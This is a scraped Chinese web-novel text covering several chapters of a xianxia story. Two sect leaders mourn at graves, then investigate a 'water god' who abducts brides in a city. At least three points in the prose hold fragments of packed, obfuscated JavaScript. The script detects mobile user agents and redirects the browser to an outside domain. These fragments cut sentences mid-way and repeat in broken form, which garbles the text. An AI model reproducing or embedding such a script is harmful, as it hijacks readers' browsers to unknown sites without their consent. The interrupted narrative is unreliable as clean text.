公仪岭没有立刻接过齐元白递过来的竹叶青,定定地望着他,直到齐元白自己从行囊里摸出来两个白玉酒杯,看样子是早有准备。 倒酒入杯,顿时散出阵阵酒香,在整个屋内弥漫开来。 齐元白没有强人所难,只是斟了浅浅的一杯,推到公仪岭面前:“这么一点,不会有问题的,既然我大老远地把酒带来了,公仪兄也该多少尝一下,算是给我一分薄面。” 这话说得,就让人难以推拒了。两人毕竟认识这么多年,若是区区一杯酒还得看在齐元白的面子上才喝,未免就有些说不过去了。 公仪岭默默看着面前不足半杯的酒水,心道齐元白这量拿捏地可谓正好,只喝这么一点的话,哪怕是他大哥也不至于喝醉过去。 他轻叹一声:“也罢。”说完,便端起酒杯一饮而尽。 酒还是从前的酒,可不知怎的,味道却再也不似从前了。 公仪岭喝得猛,难免呛了两声,慌忙掩唇咳了半天,才勉强缓过来,只是一张脸却因此憋红了。 齐元白微微一愣,似是没想到他会有这么大的反应,神情变幻莫测。 不过,见他喝一口酒这么狼狈的样子,齐元白犹豫了片刻,还是重新倒了一杯茶给他,拍了拍公仪岭的肩背道:“你既不怎么会喝酒,下次便不要喝得这样急了。” “无妨,无妨。” 公仪岭摆手,喝口茶定了定神。 有了这一出,齐元白也没再叫他喝第二杯,见他无事后,默默地把自己杯里的酒一口闷了,再没说一句话。 公仪岭也不敢再和他呆得太久,生怕自己会在齐元白面前露馅,在喝完这半杯酒以后,就再次找了借口离开了。 齐元白也没再留他,只在他临走前淡声说了一句:“明日辰时,我们后山相见。” 他话是这么说,但公仪岭深知齐元白的习惯,每次约好时辰,基本都踩着点才到,有时还会晚上一两刻钟才姗姗来迟,故而,公仪岭第二日醒来后,只提早了一刻钟抵达后山。 公仪岭以为时间绰绰有余,却没想到,等他和承悦到后山的时候,齐元白竟然已经在墓前等待了。 他等着的时候,也没闲着,竟是把那几面墓碑都擦得干干净净,一尘不染。 承悦放下了食盒,走到角落,拿起了倚靠在那边的一把扫帚,惊讶道:“齐宗主,你连地上的落叶都扫完了?” 现在正值春日,飘下来的叶子并没有那么多,故而承悦叫人过来打扫的次数也少了很多。自从被妖毒的事情绊住脚后,清扫墓地的事情也就搁置了下来,他原本还打算,等今日来了以后再跟香灰一起扫干净的。 齐元白道:“反正我也没怎么睡着,干脆早点起来,把叶子全都清理了,你们也好轻松一些。” 公仪岭想了想,轻声道:“也好,月吟喜欢干净,既然是来见他们的,肯定是该清扫一下的。” 墓前放有一张矮石桌,旁边围了一圈石凳子,承悦带来的食盒,此时就放在这张矮石桌上。 三炷香插好,菜肴也都端上了桌。 这些菜肴,全都是承悦大早上去膳房准备好的,只不过他做饭的手艺没那么好,这些菜都看起来有些惨不忍睹。 承悦讷讷道:“宗主,我太久没进膳房,做出来的菜怕是不太行,这次怕是只能让阿岭他们将就一下了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14446657|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 公仪岭和齐元白对此都不在意,只是承悦自己看见自己做出来的东西,还是觉得有些抱歉,毕竟,他那位二师兄怕是从没吃过这样难吃的东西。 带来的纸钱烧了个干净,酒和新茶全都已经备好,等到这一切做完,他们三个人也终于坐在了石凳上。 “怎么,这就是你给司姑娘亲手种下的茶?” 哪怕司月吟现在名义上已经是公仪岚的亡妻,换做谁也应当尊称一声她为司夫人,但齐元白却还是更习惯叫她司姑娘。至于其中缘由,齐元白是觉得,如果当初不是抱元门长辈们的缘故,以司月吟的能耐,恐怕早承了宗主之位,她这样的女子,不该仅仅只困在“夫人”这个名号上。 公仪岭伸手把茶杯往他那边推了推,边道:“嗯,是的。你且尝一尝吧。” 齐元白闻着茶香,觉得这气味有些熟悉,茶水入口后,更加确定了心中猜想,斩钉截铁道:“这是抱元门那边的茶,没错吧?我记得,仙考大会的时候,咱们总能喝到,原来,竟然是司姑娘最喜欢的茶水吗?” “当然。” 要是说酒的种类,齐元白多少能头头是道地讲上许久,只可惜,他对茶类知之甚少,只知其味,不知其名,这会儿也起了好奇心:“这茶,叫什么名字?” 公仪岭轻声道:“山涧明月。” “山涧明月……” 齐元白喃喃念着这四个字,抚了抚掌,赞声道:“好名字。” 承悦也道:“这些茶能长得这样好,少不了孟阳兄的功劳,等过几日,我也该备上一些,差人给他们送些过去,算是谢礼。” 这方面,是公仪岭考虑不周,承悦既然提出来了,他便没有不同意的道理,当即允了:“这是应当的,由你安排就是。” 香灰落地,细烟袅袅。 于是,十分难得地,这三人如久别重逢的老友一般,在石桌旁闲谈起来,聊到兴起之时,齐元白还会起身拍一拍刻了公仪岭名字的墓碑,好像从前在拍他的肩膀,举着酒杯就对着墓碑前的地面洒了下去,随后,再度高高举起,似是与空气碰了满杯。 而公仪岭则是手握茶杯,静静听着齐元白滔滔不绝地控诉,譬如,公仪岭什么时候跟他说,拿了魁首要请他在云灵城内最好的酒楼吃饭,结果却没了下文;譬如,公仪岭跟他说,要跟他一起去城内买身新衣服,他连金锭都给了,结果却没去成;再譬如,公仪岭又跟他说,自己要成为未来的上仙,再与他彻夜共饮一杯竹叶青,结果却先走一步…… 等他说得累了,石桌上摆放着的三炷香也都燃得差不多了,只剩下光秃秃的一截。 公仪岭这才开口:“现在,你总该能与我说,剩下的那一桩事情,究竟是什么了吧?” 172.友从远方来 疏雨洗清明(八) 齐元白捏着酒杯,轻轻叹息过后,将杯子搁回石桌上。 他一共只说了七个字:“尧都城,水神娶亲。” 尧都城? 公仪岭一开始只听清了前三个字,恍惚了一下,觉得这个城名颇为熟悉,随后猛然反应过来齐元白说的后四个字是哪四个字,顿时愣在原地。 齐元白见他一动不动,就知他肯定想起来了这是什么地方,低声道:“公仪兄,原先我也没意识到这城是哪一座城,只是觉得有些耳熟罢了,直到我特意去查了文书,才知这尧都城,竟然就是当年公仪正卿在三化殿上说,遇到狐妖的那一座城池。” 公仪岭全都想起来了。 他深吸了一口气,凝视着齐元白:“你继续说。” “有关于三化殿会审公仪正卿的事情,我也印象深刻,记得他当时说,是路过尧都城后顺便灭了个水鬼,当时三化殿情况混乱,也没人细细去问有关于他如何除鬼的事情,故而,我也只能到处查文书记录。好在,我去查尧都城地方志的时候,终于在上面看见了有关水神娶亲的记载。” 公仪岭灵识慢慢回归,拿着茶杯的指尖抽动,极慢地品了一口茶水。 “莫非,是发生了什么事情,才让你特意去调查了这事情?” 齐元白点了点头:“尧都城距离太微山不过几百里,那边若是发生什么不得了的大事,百姓也会在我太微山的贡桌说明实情,也正是因此,我不久前才得知了尧都城水神娶亲这件事,据他们所说,最近一两个月,城中又消失了不少适龄女子,城中人人自危,都猜测是瀛湖水神再度娶亲。” 公仪岭沉默不语,脑中回忆着当时公仪正卿对他们说的细节。 “就这一个月来,整座尧都城,就已经消失了足足十七位女子。百姓束手无策,只能来太微山祈愿,请山中仙师下山解决此事。” 听到这个数量,公仪岭也不由心惊。 刚才他就隐隐觉得哪里不对,到现在,也终于意识到了究竟是何处不对。 他凝声开口:“不对。” 齐元白立刻问道:“哪里不对?” “齐兄,我和阿岭遇到公仪正卿的时候,他曾告诉过我们尧都城发生的一切。尧都城内,水神娶亲的传说流传许久,即便如此,百姓也至多一个月献上一名女子,何至于一个月消失十七位女子?” 他顿了顿,继续道:“何况,那时候都是他们主动献祭适龄女子,换得一方太平,并非是那‘水神’在城中强掳民女,让她们平白无故失踪。” 齐元白也是第一次听到这个说法,他想了想,道:“那公仪正卿当时,可有消灭了那妖邪?” 地方志上只写了有关水神娶亲的内容,再往后几页,就再也没提到这个事情了,百姓只道一日飞沙走石天色骤变,此后尧都城内,就再没出现过水神发怒水淹城池之类的事情了。 对这件事情,公仪岭还是很有发言权的。 既是山中几年一次的重要历练,每个弟子杀了什么妖邪,都是会一一记录在册,让人去核实的,公仪正卿在尧都城杀了水鬼,只要记录册内有这一条,就不会有问题。 他当即点头:“正卿他与那水鬼斗了一日一夜,将他斩于剑下,自己则身负重伤,流落观音庙内,这件事情不会有假。” 但说完,为了以防万一,公仪岭还是转头对承悦道:“承悦,那本记录弟子历练内容的文册,在我的书房内,你去将它拿来,让齐宗主过目吧。” 对于公仪岚书房内每一本文书摆放的位置,没有谁比承悦更清楚了。承悦应了下来,起身前去书房寻了。 齐元白望着承悦离开的背影,脸上忧虑不减,道:“看来,我来找你帮忙这个决定是对的,要是能找到详细记录的文书,就太好了。” 公仪岭觉得奇怪:“就算是水鬼祸乱,太微山也不至于觉得棘手,不管之前那个水鬼灭没灭,直接派弟子下去处理了现在的那个就是了,何必如此麻烦?” “公仪兄,你忘了吗?” 齐元白定定地望着公仪岭,竟是叹了口气:“神形俱灭,身死魂消……时隔几年后,却又死而复生、为祸一方,这样的情形,难道你没有意识到,哪里眼熟吗?” 如此明示,公仪岭也终于反应过来了他的言下之意。 当初,那狐妖阿音,不也正是这样吗? “是御魔幡……一定是!” 继那突如其来的妖毒过后,那人终于再次按捺不住出手了吗? 齐元白压低声音:“这就是我一定要前来找你的原因。” 公仪岭连呼吸都凝滞了,只觉得眼眶发热,强忍了许久,才平息下来自己的情绪。 如齐元白所说的那样,这件事情事关重大,所以,还有一个问题是他必须先确认的。 “这件事情,现在还有谁知道?” 齐元白道:“最先过来与我回禀此事的,乃是我的师弟,我已让他将此事隐瞒下来,不会四处宣扬。得知此事后,我就来云灵山寻你了,眼下,御魔幡可能在尧都城的这件事情,也就只有我们二人知晓。” 听到这里,公仪岭彻底明白了齐元白为何会赶在清明过来寻他。 他们两个人现在身为宗主,一举一动都不代表个人,而是代表整个宗门,齐元白自是没办法像从前一样说来就来,想亲自过来拜访的话,是需得依照礼数,对云灵山宗主递去拜帖,等回函后,再找个合适的名头前往。 而这个合适的名头,也是有一番讲究的。 要是他直接说,是太微山附近的城池有了什么问题,才特意前来商议,那这消息撑不过半日,就会传遍所有仙家,传到那贼人耳中,岂不打草惊蛇? 清明,正是一个极为合适的由头。 哪怕齐元白知道他选择用“看望故友”的这个名头过来,会遭受多少非议,他也必须得过来一趟。 因为,这是唯一不会让任何人感到奇怪的借口了。 公仪岭捋明白了这一点后,一边心中暗叹了一声齐元白思虑周全,一边却担忧另一件事情:“只是,我们两个人现在就算知道此事,这么多人盯着云灵山,想要悄然动身前往尧都城,也不是易事。” 齐元白却笑了。 “公仪兄,这就是我非要在清明前来的第二个原因了。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14456642|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他慢条斯理地道:“再过十余日,便是仙考大会,弟子们都前去考试了,一双双眼睛都关注着这大战后的第一回仙考,只要稍加掩饰,有谁会注意到,云灵山和太微山的宗主,悄然离开了几日呢?” “难怪。” 公仪岭完全明白了他的意思,轻轻点头,算是赞同。 历练加试这一项,在众仙家商议后,已经正式纳入了日后的考核。而今年仙考历练的考题,也是由各仙家宗主共同商议出来的。公仪岭虽没给他们出什么主意,但对历练的时间安排也是心中有数,他们至多也只有一个半月的时间能够留在尧都城,等到仙考结束,名次宣布后,各家宗主就势必得前往抱元门一趟了。 公仪岭道:“仙考一共一个半月,应该来得及吧?” 齐元白道:“一个半月的时间,足够了。这人如此频繁出手强掳民女,想必是已经坐不住了想要动手了,既然如此,倒不如将计就计。” 公仪岭见他胸有成竹的模样,不再多问,只默默又给他续上了一杯茶,开始思考起这短时日该如何遮掩两人的行踪来。 前去抱元门参加仙考的弟子虽多,但是留在云灵山中的弟子也不在少数,即便公仪岭平日不怎么出面,想要完全瞒下此事也有诸多不便。 这其中,少不了需要承悦从中帮忙了。 公仪岭没有把两人的打算瞒着承悦,等他拿着一册文书回来的时候,顺道将这件事情与他说了。 承悦听完,镇定道:“好办。太微山那边写信来问的话,我便临了你的笔迹传信回去就行。至于云灵山的弟子们,每日多布置些修习任务,或是直接打发他们下山除妖就行,如此一来,没有十天半个月的,想必他们压根想不起来你们两个人,只盼着宗主你别在早课上出现检查他们的成果才好。” 果然,专业的事就得交给专业的人去办。 公仪岭不得不承认,承悦这个办法虽然不怎么厚道,但胜在有奇效。 不过,管他用什么办法呢?只要办法管用,那就是好办法。公仪岭也只是在心里同情了一把自家的弟子们,口上则是当即应了声,允了。 对策商议完,承悦也没忘了他们拜托自己去做的正事。 那一册厚厚的文书翻开,根据大概的年份时间,承悦很快翻到公仪正卿除水鬼的记录。 这个记录承悦在书房的时候已经查阅过,此时与两人说起来思路颇为清晰:“宗主说的不错,公仪正卿当时路过尧都城之时,的确斩杀了一只水鬼,自那以后,尧都城也过了三年多的太平日子,由此能推断,地方志上记载的‘水神娶亲’传说,十有八九是那水鬼弄出来的事端。” 没有人去质疑这件事情的真实性,因为齐元白和公仪岭都在那一瞬间,看见在这个历练内容旁边,有几行鲜明的朱批,上面的印章,正是云灵山的宗主印。 齐元白对这个印章并不陌生,在看过那朱批的内容后,凝声道:“公仪兄,这是你爹的朱批。” “嗯,的确是。” 公仪岭逐字逐句地看着文书上所写的内容,很快被一个极小的细节吸引了过去,目光在那一行字上停滞了片刻。 173.友从远方来 疏雨洗清明(九) 齐元白立刻问道:“怎么了,可有哪里不对?” “齐兄,你看这一句。”公仪岭将文书册子朝他的方向挪了挪,指尖划过上面的一句话,“在公仪正卿斩杀水鬼之后,瀛湖水面并未立刻停息,等过了足足一个时辰,才恢复宁静。” 承悦皱眉道:“正常妖邪被斩灭后,他们的妖力妖法也都会随着身死而消散,可这水鬼死后,湖面竟过了一个时辰才平静下来,倒是奇怪。” 这个道理,齐元白也明白。 他沉思许久,才猜测道:“或许,是因为它修为高些才会如此。你看,公仪正卿在这上面也写了,觉得是它怨念太深,才没有那么快地失去法力。何况,他斩灭水鬼后,就流落在观音庙内,之后那水鬼如何,大概也不甚清楚。总而言之,还是先过去看看再说。” 这话倒也没太大的问题。 不管公仪岭现在有多少想法,他们若是想要知道哪个想法是正确的,看样子,非得去一趟尧都城不可。 想到这,公仪岭下定了决心:“什么时候动身?” 对这个问题,齐元白也早有准备。他从容道:“等你给参加仙考的弟子们送行后,次日一早,我们就出发。” * 这十几日,齐元白闲着也是闲着,没少被承悦拉去帮忙指点云灵山的弟子们。 要知,公仪岭虽是剑修,但因为齐元白的缘故,他在如何使用符箓这方面,也是颇有造诣的,也正是因为他从前没少把这个法子运用到实战中,算是给弟子们开了个好头,故而,这十来日下来,也有不少弟子们特意过去问齐元白有关低阶符箓的画法和用法。 这样良好的教学氛围,公仪岭看了自是极欣慰的。 只不过…… “哎,公仪兄你说,这又何尝不是一种‘肥水不流外人田’?” 这几日下来,齐元白收获满满,一边数着自己桌案上的灵石、铜钱数量,一边对着公仪岭深深感慨。 公仪岭靠在软榻上,望着他桌上那琳琅满目的东西,嘴角微微一抽。 云灵山弟子们有没有收获什么宝贵的修习经验,他不知道,但他知道的是,不管弟子们有没有收获,反正齐元白是收获颇丰。 要不是齐元白现在一副正经仙人的样子,公仪岭险些都要忘记,这人当少宗主的时候,最热衷做的事情,便是下山去支个小摊,算命卖符,童叟无欺。 也不知他是不是太久没干回老本行,这十几日被弟子们问得多了,竟顺便就把小摊支到他们云灵山来了,别说,打了太微山宗主名号的那些符纸,想卖得不好都难,短短几日时间,齐元白就已经赚得盆满钵满,一张桌案都要放不下了。 公仪岭沉默道:“齐兄,我以为,你已经不干这行了。” “正好他们仙考历练能用得上,这也算得上是互惠互利之举,我何乐而不为?”齐元白笑着将面前的东西分门别类地规整好,收回行囊中,执笔沾了沾朱砂,又开始在黄符上写写画画起来。 送走参加仙考的弟子们后,为了掩人耳目,公仪岭和齐元白子时便御剑匆匆离开。 从云灵山出发,到尧都城需得三日,到太微山也得需要三日。 不知怎得,公仪岭隐隐感觉到齐元白有些心神不宁。直到两个人行至太微山脚下,公仪岭思虑再三,还是问了齐元白:“尧都城离太微山不远,你当真不回去看一眼吗?” 齐元白沉默良久,缓缓摇头:“已经到了这个地步,就不必再节外生枝了。” 见他这样,想必是已经有了决断。公仪岭没再追问,默默应下,带着齐元白直接进了尧都城。 许是前几次去其他城池都是一派萧条的缘故,公仪岭完全没有想到,尧都城内看起来极为正常。大街小巷,满城商贩该开店的开店,叫卖的叫卖,路上百姓来来往往熙熙攘攘,与平日里没什么区别。 公仪岭诧异道:“既是城中百姓向太微山请愿,想必应该满城皆知此事,怎么大家看起来都浑然不知呢?” 齐元白道:“并非他们不知,我想,大部分人都觉得水神娶亲事不关己,这才……” 公仪岭一想,确实是这么个道理。 且不说水神娶亲,娶的都是姑娘家,跟城中男子不大相关,再者,这传说已经传了许多年了,在大家心里,或许也没那么要紧,觉得不必影响自己的正常生活,才会如此。 只是,尧都城也不是座小城,他们两个男子,总不能挨家挨户去统计哪些人家有适龄女子,那样肯定是会被当成变态给打出来的。公仪岭望着这满街的百姓,问道:“既然已经到了尧都城,那我们现在应当如何?” 齐元白取出行囊中的一本折子:“我虽不知那‘水神’下一个要娶的是哪家女子,但凡是来太微山请愿的人,我已经全部记录在册,一家家找过去,说不定会有线索。” 公仪岭心念一动,当即道:“既是娶亲,想必会提前送去聘礼定亲,其中,来请愿的人家里,也许就有那下一位新娘。” “不错,我也是这样想的,不过,我们可以先从最有可能的人家排查起。” 公仪岭道:“册子里能看出来?” 齐元白点头,展开折子,指了几个用朱笔圈出的名字道:“贡桌上,所有请愿民众的上贡数量里面,唯数这五家最高。若非事情紧急,想必他们也不会弄这么多贡品了。” 其实,各大宗门的贡桌都能看得出数量,只不过公仪岭久不下山查看贡桌,一时之间竟没想起来这回事,听到齐元白这样说,也是恍然大悟。 “原来如此,事不宜迟,我们先去就是。” 名册上的第一家,齐元白做过调查,乃是尧都城内某大户人家。 趁着赶路期间,公仪岭也顺势多看了两眼折子,将那户人家的背景记了下来。 这户人家的家主姓林,家中一共三位小姐,大小姐已经嫁为人妇,三小姐年岁尚小幸免于难,只有二小姐年方十八,待字闺中。这一次,他们正是为了自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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毫无疑问,这样的布置,正是寻常百姓定亲时候的礼数。 这就奇了,他们既然不愿将女儿送出去,又何必大费周章,布置这些呢? 而正堂两侧,那位林老爷正怒气冲冲地指挥着家中的仆从,想要把所有红色的物件都撤掉:“摘下来!都给我摘下来!一个都不许留!”完全没注意到正堂外进来了两个人。 领路小厮不敢怠慢,赶忙进去与老爷耳语了两句。 片刻后,八目相撞,公仪岭分明看见,那林老爷的眼睛倏然一亮,脸上的怒气也都消失地干干净净。 随即他便迎了上来:“仙师远道而来,我却未能出门迎接,实在失礼!” 公仪岭信口胡诌了两人的身份,道:“我们师兄弟二人此番前来,正是想解决瀛湖水神娶亲这件事情……只是不知,这正堂内,怎么会是如此场景?” 林老爷只看了一眼堂内布置,就闭上眼不忍再看,回头对两人道:“仙师有所不知,前些日子,那瀛湖水神还只是送了定亲的文书过来,谁知今日晨起,家中就突然凭空出现了这些聘礼和布置,想必,都是那瀛湖水神留下来的!” 174.瀛湖神娶亲 代卿上花轿(一) “定亲文书?” 齐元白的注意力却落在这四个字上面,飞快的扫视了一眼那红木箱子上的东西,里头金银珠宝、绫罗绸缎应有尽有,却唯独不见林老爷口中的定亲文书。 林老爷面露忧愁,忿忿道:“是呢,这东西是随着聘礼一道出现的,说是定亲文书,倒不如说是直接通知我们准备好新娘,简直岂有此理!” 齐元白又道:“这文书在何处?” 这样白纸黑字的凭据,像他们这样有头有脸的大户人家,是绝不可能就这样摆出来的,多半应当是被林老爷给暗暗收了起来。 果不其然,林老爷闻言立刻从怀中摸出一封大红封面的折子,递到齐元白手中:“仙师勿怪,我担心这上面的内容传到旁人耳中,坏了我家姑娘的名声,故而在得此文书后便收了起来,喊了家中下人撤走正堂里的布置。” 难怪他们一来,就见这些下人们在慌慌张张地撕扯上面的红绫和囍字。 公仪岭好奇这定亲文书上面写了什么东西,等齐元白展开后,凑上去瞧了瞧。 这下看完,他的脸色也凝重起来。 林老爷揣度着两位仙师的神情,思虑再三后,觉得此处人来人往,商议事情多有不便。等到重新收回了这本红册子,就压低了声音,对两人道:“两位仙师,此事不宜外扬,请随我来。” 公仪岭与齐元白对视一眼,轻轻点头,跟着林老爷来到了一处无人打扰的暖阁。 奉茶的丫鬟退下后,整个暖阁只剩下他们三人。 公仪岭端着茶盏,却没心思喝上一口,开门见山地问了:“若是我记得没错的话,那定亲文书上面的日子,分明就是五日后吧?” 林老爷指节缓慢敲打着桌面,长叹一声道:“……正是。这眼看着日子越来越近,我寻遍了城中的道士也无能为力,若非如此,我也不会费尽心思去太微山下请愿了。” 齐元白问道:“上一次,那‘水神’娶走的又是哪家姑娘?已经过去多久了呢?” “这毕竟不是什么光彩的事情,城中各家也都对此事避而不谈,各自暗中找能人异士解决,谁料竟然都无功而返。我只是听传言说,三日以前,瀛湖水神娶走的是陈员外家的大小姐。那日子时,城里打更的人看见,迎亲的队伍占满了整整一条长街,往陈员外家去了。” 至于那打更人看见这一幕,当场吓得屁滚尿流,回去连发了好几夜的高热,神志不清都开始说胡话了,这段林老爷则是隐去了没提。 这前面三日、后面五日的,加起来竟然足有八日。公仪岭微微皱眉,很快意识到了哪里不对劲。 在行路途中,公仪岭也特意确认过,尧都城一个月的确消失了十七名女子,基本上隔不过三日,那水鬼就会带走一名女子,这一次又怎么会间隔八日才出手? 公仪岭如此一问,林老爷也据实说了。 他道:“仙师,实不相瞒,这期间还有一人也被定下了,只是那迎亲的轿子还没来带走她。” 公仪岭想起齐元白说的话,立刻追问道:“是谁?” 他们根据贡桌上的上贡数量的名册过来寻人,却并不代表上贡最多的人家就是下一个轮到娶亲的人家,眼下他们遇到的便是这样的情况,如此,也只好寄希望于林老爷知道那户人家的名字,让他们过去了。 好在,他们这些大户人家,消息渠道也比寻常人多一些,眼下这一位被定下的姑娘,正巧林老爷知道。 “说来也巧,我与他们家还是一同去的太微山请愿,或许仙师对他们也有些印象。”林老爷道,“城西有一处姚家庄,今夜子时,便是轮到他们家小姐上花轿了。” 还真别说,这一家人,公仪岭和齐元白的确有印象。 他们两家人一同上山请愿,在名册上的位次自然也是一前一后,十分显眼。公仪岭和齐元白两人原本还打算着等拜访完林家,就前去他们那儿瞧一瞧,这下,倒是赶巧了。 而现在已近申时,两人也不能继续在此处耽误时间了。 公仪岭放下茶盏,打算起身告辞:“既然如此,那我们二人便先行前去那姚家庄看看,若是今日能将此事解决,你们家二小姐五日后,也就能够平安无事了。” 林老爷听前半句的时候,还不愿让他们就这样离开,等听到公仪岭说完后半句,他原本焦急的面色总算缓和了些,连忙道:“也好,也好,仙师往城西方向走三四里,就能看见那姚家庄了。不过,还请仙师离开前,能在我家小女房外做法,防止那妖邪提前来寻她,护她这五日周全。” “没问题。” 这样的要求,公仪岭自是不会回绝,一口答应下来。 不过,他们两人不便去林家小姐的闺房,也只是在房外设下了禁制,能保证妖邪进不去她的房间罢了。临行前,齐元白还递了十几张画好的符箓过去,对丫鬟们叮嘱道:“等到了晚上,把这些符箓全都贴到你们家小姐的厢房门口,一连五日都不可取下,也不可叫她出这个房门半步,可记住了?” 事关自家二小姐的安危,这些丫鬟们十分上心,连声应下,立马退下给小姐准备这五日要用的东西去了。 而公仪岭和齐元白,对着林家上上下下交代好一切后,一刻不停地启程朝着城西去了。 姚家庄虽在城西,但距离此地路途并不遥远,两个人紧赶慢赶,也最多花不了半个时辰就能到。 随着天色渐渐变暗,尧都城街道上的人也变少了许多,那些夜市小贩都收了摊,比起白日里冷清了许多,想来,或许大家白天觉得无事,等夜间还是对这桩事情有些忌讳。 顺着主街一直走,走到半路,公仪岭却忽然开口道:“齐兄,这瀛湖水鬼娶亲的对象,有一个共同点,我不知你发现没有?” 齐元白脚步一顿,侧头望向他:“什么共同点,你且说来?” 公仪岭道:“名册上的这些姑娘们,大多都是富贵人家的小姐。” 要说这个想法,还是不久前公仪岭布下结界的时候,偶然间看见那位林二小姐才产生的。 算上那一个月内失踪的十七位女子,和还没有上花轿的四位女子,公仪岭虽然对她们的长相记得并不全面,但也知晓这一共二十一位女子各自的家世背景,几乎每一个人都是养尊处优、肤白貌美的小姐,若说是巧合,未免牵强。 齐元白的确忽略了这一点。 从听到公仪岭这句话后,他也是飞速过了一遍那些烙在脑子里的名字,为了保险起见,还重新拿出册子细 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14468076|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 细查看了一遍。这下,就彻底确定了下来。 “这二十一位女子中,仅有三位女子并非出身大富大贵之家。” 公仪岭面色凝重:“也不知那十七个已经被娶走的女子现在如何了……这水鬼要这么多女子,究竟想做什么!” 这个问题,齐元白现在回答不了,只能长长叹了口气。 来到城西的姚家庄,已是半个时辰后的事情了。 天完全变黑,城西两侧的街道空无一人,只能偶尔听到几声野狗狂吠。他们两个人全靠着各家门口挂着的灯笼,一家家辨认过去,才寻到了姚家庄。 这姚家庄的模样与与林宅也颇为不同,看山去竟是更加气派。只不过,公仪岭的神经紧绷,无暇去欣赏这宅邸是如何的高门大户,目光牢牢锁在那宅邸牌匾旁边悬挂的两盏大红灯笼上。 “这也是贴了‘囍’字的灯笼。”公仪岭喃喃道,“这姚家庄的主人,怎么没跟林老爷一样,把这些带了‘囍’字的东西都撤掉?” 齐元白道:“撤了也没什么用,等到娶亲当日,这些东西还是会无端端地出现在宅邸中,即便是他们死活不肯让女儿们上这鬼花轿,等到了第二次,他们的女儿也一样凭空失踪。” 公仪岭听得咂舌,忍不住道:“果真是强盗行为。” “此人明抢暗偷坏事做尽,烧杀抢掠无所不为,说是强盗行为都算往他身上贴金了。”齐元白说着,重重敲响了姚家庄大门。 无人应答。 就连齐元白在敲完门后,也才突然反应过来一件事情。 他们太微山的人在下山历练的时候,也常来尧都城中,没少跟城中百姓宣传有关防范分辨妖邪之物的办法。仙师难得下山一趟,对他们谆谆教诲,城中百姓一个个都听得认真,宣传效果极佳。而其中最重要的一点,那就是晚上的时候不轻易给人开门,毕竟,会敲门的可不一定是人。 齐元白见里面无人,放下手道:“看样子,他们今夜是不会给我们开门了。” 这样的宣讲活动,云灵山自是也有,公仪岭对此更是再清楚不过,稍微迟疑了一下后便反应了过来,立刻道:“齐兄,依我看,反正都没人开门,事急从权,何必在意这些虚礼?直接进去再说。” 齐元白一想也是,虚空画符后,翻手将那符箓送出手心,顺着高墙进入宅邸,贴在了那门闩上。 片刻后,就听里面“咔哒”一声,门闩挪开,两扇门大开。 做完这一切后,齐元白下意识想要用灵力在这个大门上设个禁制,防止出意外,手刚抬起几分,旁边公仪岭就按住了他:“且慢。” 齐元白不解:“怎么?” 公仪岭沉声道:“既然今夜子时就有花轿来接这位姑娘,难保那人没有在附近盯着姚家庄的一举一动,若是贸然在大门上留下仙法的痕迹,恐怕会打草惊蛇,暴露我们的行踪。” 闻言,齐元白顿时收手,心道自己大意,竟然忘了这样重要的事情。 好在他们两个人此行过来,已经隐藏了自己身上的仙气,妖邪之物是不可能察觉到他们并非常人的。 他们不宜在门口逗留,飞快进门后,齐元白又重新将门闩闩好,把大门恢复成了原本的模样,仿佛无事发生。 175.瀛湖神娶亲 代卿上花轿(二) 等到进了院子,公仪岭这才发现,何止是门口没人,这一整个庭院和堂前,也都见不着一个人,正堂之内,唯有两段喜烛互相映衬,火苗跳跃,除此以外,就只剩红布红纸和一个聘礼箱子,这氛围,简直荒诞又诡异。 “怎么回事?人都去哪儿了?” 齐元白四下转悠了一圈,都没寻到一个人,只能随意翻了翻正堂中间的聘礼箱子,而这里面的东西,也都跟林宅内的一模一样——满满一箱的金银珠宝,以及箱子上方被一个金锭压着的一封定亲文书,就连定亲文书里写的内容也如出一辙。 他说完,等了许久,也没听到公仪岭说话,心中一紧,连忙燃了一张符纸,回身轻声喊道:“……公仪兄!” 有了符纸火光,齐元白看得也更加清楚了一些,余光中找到人后,暗暗松了口气。 公仪岭正一动不动地站在他的右后坊,双目凝望着一个方向,听到齐元白喊他,连头都没回,伸手给他比了个噤声的手势。 齐元白会意,当即闭嘴,两个人就这样僵了几秒钟,公仪岭的身影才动了动。 “如何?”齐元白问道。 公仪岭终于侧头,低声道:“是后院……出事了,我听到了女子的哭喊声。” 